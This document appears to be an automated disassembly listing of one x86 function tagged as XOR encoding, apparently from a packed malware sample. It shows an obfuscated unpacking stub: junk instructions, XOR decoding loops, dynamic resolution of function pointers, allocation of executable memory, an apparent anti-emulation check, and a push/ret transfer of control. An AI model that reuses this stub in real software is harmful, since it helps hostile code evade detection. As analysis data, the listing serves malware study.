Function at 0xa789ac
Capabilities:
Encode data using xor

Disassembly:
pushal
mov esi, 0x2dab4ce9
add ecx, 0x3af2b8a3
sub eax, ecx
popal
and ecx, eax
dec eax
mov esi, 0
mov eax, ecx
mov ebx, edx
mov edx, ebx
add edx, edx
mov edi, eax
mov edx, 0x3ebbf579
add ebx, 0x271702f1
add ebx, 1
mov ecx, edi
mov ebx, 0x941da1f3
sub ebx, 0x4c0d48e8
sub ebx, edx
inc esi
add ebx, 1
add ebx, ebx
add edx, 0x107905b3
cmp esi, 0x100da32
jne 0xa789c3
add edx, edx
dec ebx
add edx, 0xac92e2b9
sub ecx, eax
and ecx, ecx
sub ecx, 0x5261d2b7
mov eax, 0xa78796
sub edi, ecx
mov edi, edx
mov ebx, 0xa7898a
mov edx, ecx
sub edx, edi
dec ecx
mov esi, dword [eax]
dec edx
or ecx, edi
and esi, 0xff
and ecx, edi
sub edx, edi
xor dword [ebx], esi
add edx, ecx
mov ecx, edi
and ecx, edi
inc ebx
mov ecx, edx
add edi, edi
inc eax
inc ecx
add edx, edi
cmp ebx, entry0
jl 0xa78a2e
add edx, edi
mov ecx, 0xd3b6531c
add edx, 0x2a49a849
and edx, edi
sub edx, 0xbad94289
or edx, edx
mov esi, 0xa7898e
mov ecx, 0x3b1782f1
inc edx
mov esi, dword [esi]
dec ecx
mov edi, ebx
mov esi, dword [esi]
dec ecx
mov edi, 0xe53f389d
and ebx, edi
push esi
mov edi, 0xcbf300c0
mov edi, 0x3b532ade
or ecx, edx
mov esi, 0xa7898a
add edx, 0x317e98d6
sub edi, 1
mov esi, dword [esi]
mov edi, 0x46807595
mov edx, 0xd5fe9b8d
mov esi, dword [esi]
sub ecx, edi
mov edi, edx
not edx
push 0xa78992
add ebx, 0x10e0ea24
sub edx, 0xe15acf7f
call esi
inc edi
add ecx, 0x3b7b825d
add edx, ecx
pop esi
add ecx, 1
not edi
add ecx, edx
push 0xa7899f
and edx, ebx
and ebx, ebx
mov edi, ecx
sub esp, 4
mov dword [esp], eax
and edx, ecx
sub ecx, 0xad25f823
call esi
or ecx, edx
add ecx, ebx
sub ebx, edx
push 0x40
and ecx, edi
mov ecx, ebx
sub ecx, edi
push 0x3000
sub edi, ecx
mov ecx, 0xa35f5ae3
push 0x200007ee
sub ecx, ebx
mov ecx, edx
push 0
and ecx, edx
sub edi, 0x12ab9fb8
call eax
mov edi, ebx
add ecx, 0x6de343da
mov ecx, ebx
add eax, 0x20000727
mov ecx, edi
add ebx, 1
mov esi, 0xc2b1242e
not edi
or edx, ebx
mov dword [eax], esi
mov edi, ebx
or edi, ecx
sub ebx, 0x814a9dad
mov esi, dword [eax]
dec edi
mov edi, 0xaf69f16a
cmp esi, 0xc2b1242e
je 0xa78b78
mov ebx, 0
mov ecx, dword [ebx]
inc ebx
add edi, 0x15abda99
mov ebx, 0xb0459c1d
add edx, ebx
sub edi, ebx
sub ecx, eax
add eax, eax
mov ebx, section.UPX1
mov ecx, eax
sub eax, 0xeeeadb09
mov edx, 0xa78795
inc ecx
sub eax, ecx
sub eax, 0xf49fb23f
mov edi, 0
sub ecx, 1
sub eax, ecx
add eax, 0xe689093
mov esi, 0xa78796
inc eax
add ecx, 0x1d80b09e
add eax, eax
lea esi, [edi + esi]
not ecx
dec eax
dec eax
mov esi, dword [esi]
inc ecx
and ecx, ecx
and esi, 0xff
sub eax, ecx
dec eax
add eax, eax
inc edi
not eax
sub ecx, 1
dec ecx
cmp edi, 0x1f4
jne 0xa78bf6
mov edi, 0
and ecx, eax
add ecx, ecx
inc ecx
sub eax, 0xfd40dbb3
and ecx, ecx
xor dword [ebx], esi
not eax
dec ecx
mov ecx, 0x915b55e0
add ebx, 2
add ecx, ecx
mov ecx, 0x195980c1
dec eax
cmp ebx, edx
jl 0xa78bba
add ecx, ecx
add eax, eax
and ecx, eax
inc ecx
mov esi, section.UPX1
mov ebx, 0x99db1ab9
add edi, 0x7b5cd260
not edi
mov edx, section.UPX1
sub edi, ebx
or ebx, edi
sub ebx, 0x9d196e29
mov ecx, 0xa78795
sub ebx, edi
mov edi, ebx
add edi, 1
mov eax, 0
and ebx, ebx
and ebx, ebx
mov al, byte [edx]
not edi
add edi, edi
mov byte [esi], al
inc ebx
add edi, edi
add esi, 1
inc edi
not ebx
add edx, 2
mov ebx, edi
sub ebx, edi
not ebx
cmp edx, ecx
jle 0xa78c63
sub ebx, 0x77634ebe
inc edi
dec edi
dec eax
inc eax
sub esp, 4
mov dword [esp], 0x8dc6a0
mov eax, ecx
add ecx, eax
ret